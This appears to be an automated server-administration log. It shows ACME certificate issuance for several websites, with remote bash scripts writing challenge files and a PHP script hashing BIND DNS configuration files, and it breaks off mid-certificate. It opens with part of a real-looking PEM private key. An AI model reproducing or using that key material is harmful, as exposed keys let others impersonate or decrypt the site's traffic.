m9KAUyQAoo9uSEyWldeglU4rnVCD+rhiNarY2Z3fAVolKfORy8Rz/fMPSJ+XrsPa
So+CzmxaYwKBgCCsbxnKspEtr4AkIpNkSwaQSQoSxDvpIC/HqhKeogdRqcPDxjJ2
io7M9THjkA3Jiz5xGgcJ93sfeuWOZez9kjBJ37mrPGvqS1xRuWKQQo20hGoUuIxT
x1R9S1v4zztkOSBU47suN83DA3vAOijrJ621sREmzvSZ0S/ta0vnF08jAoGBALWA
7tNF4AYLDScxbVYEcGD5/p078s8PKhHTSStBuAnX/ODEeF0dtQlFpvZc8T5jBTwI
Zqan8LqCeW35WUYEjA7NcmCyMB0SykZNvRQeSl35Wx+Rlf2vDTohwWW14zgOQLnT
osx0CWhaQCE9DRBmfJlAfWM1BZxzEGAhaogjm8jhAoGAXlC1fIZcGHFxUn75Za3P
6TciJwVq1viyiQFh0C9Nd4GNfCkh9RxR2ZWlG8fZcdY1KTAH/2gmeJ31o+Dcu1RV
KdkDvuUmr9nVLEUQTP4NE5WjG9WupGpzXyHMfyFRo9RXLBsFAUbOPJQEP+otSeys
5oFovD5Q7OaRK9U8lrjefNE=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-07 06:00:02: Establishing a connection
2026-01-07 06:00:03: Establishing a connection
2026-01-07 06:00:03:
PUT: /tmp/pkp440814
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-07 06:00:04:
chmod 755 /tmp/pkp440814; /tmp/pkp440814; rm /tmp/pkp440814
2026-01-07 06:00:04:
1
2026-01-07 06:00:05: Establishing a connection
2026-01-07 06:00:05:
PUT: /tmp/pkp663722
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > xNurcxxFLRmP5oJ9MNwxNZIJlRTuvsnNMxhmE52uVAA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xNurcxxFLRmP5oJ9MNwxNZIJlRTuvsnNMxhmE52uVAA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xNurcxxFLRmP5oJ9MNwxNZIJlRTuvsnNMxhmE52uVAA
2026-01-07 06:00:06:
chmod 755 /tmp/pkp663722; /tmp/pkp663722; rm /tmp/pkp663722
2026-01-07 06:00:06:
2026-01-07 13:52:09: Establishing a connection
2026-01-07 13:52:27: Establishing a connection
2026-01-07 13:52:41: Establishing a connection
2026-01-07 13:52:41:
PUT: /tmp/pkp286170
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-07 13:52:42:
runuser -l bind -s /bin/bash -c '/tmp/pkp286170; rm /tmp/pkp286170'
2026-01-07 13:52:42:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-07 13:53:16: Establishing a connection
2026-01-07 13:53:17: Establishing a connection
2026-01-07 13:53:19:
PUT: /tmp/pkp502175
#!/bin/bash
if [ -d "/var/www/n-e-v_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-07 13:53:20:
chmod 755 /tmp/pkp502175; /tmp/pkp502175; rm /tmp/pkp502175
2026-01-07 13:53:20:
1
2026-01-07 13:53:21: Establishing a connection
2026-01-07 13:53:23:
PUT: /tmp/pkp434912
#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
cat > VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8
cat > l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw
2026-01-07 13:53:24:
chmod 755 /tmp/pkp434912; /tmp/pkp434912; rm /tmp/pkp434912
2026-01-07 13:53:24:
2026-01-07 13:53:42: Establishing a connection
2026-01-07 13:53:43:
PUT: /tmp/pkp260683
#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
rm VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8
rm l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw
2026-01-07 13:53:44:
chmod 755 /tmp/pkp260683; /tmp/pkp260683; rm /tmp/pkp260683
2026-01-07 13:53:45:
2026-01-07 13:53:45: Establishing a connection
2026-01-07 13:53:46:
PUT: /tmp/pkp715919
#!/bin/bash
temp_file=$(mktemp)
TARGET=27a452e75854403499effc104b58be29.crt
cat > $temp_file <<'endmsg'
2e:1a:d9:1a:7a:96:91:7d:58:2c:6d:55:72:02:5e:11
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBh8NfMsuY6R0/J++4nLusIltMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA3MTI1NTA3WhcNMjYwNDA3MTI1NTA2WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy35R
0V7Pc+gjZ6+lwbknCtfoW1LJerm8h+nChalZ6dtnkfJuY83Zjz1BpwONSRc+9FHz
FlE2tRM49wTJn2UPawed/HC1PcgkgeUUDfH8p26ie8jgaUFksyz049Xc1zxRPdnD
7YakOPidepNQHQId2oaseiuHTzGr41tcWo9O7a9pqecLp09yibIhwbiC8cEmAzMs
HkZlr7ITKbUNrD94qCeHcQ7ivfnVfmAvbBwtdJ2T+CTv3twBE3G/sYy8IQcZ15eq
AeTe/OpqjHLWX7LlKnUE1WOdO8fuimaZ2O3R7cZXTHf7dRTGzBQ4VVLohSKuYTSu
trAqmRwxjAgEiwtpPwIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
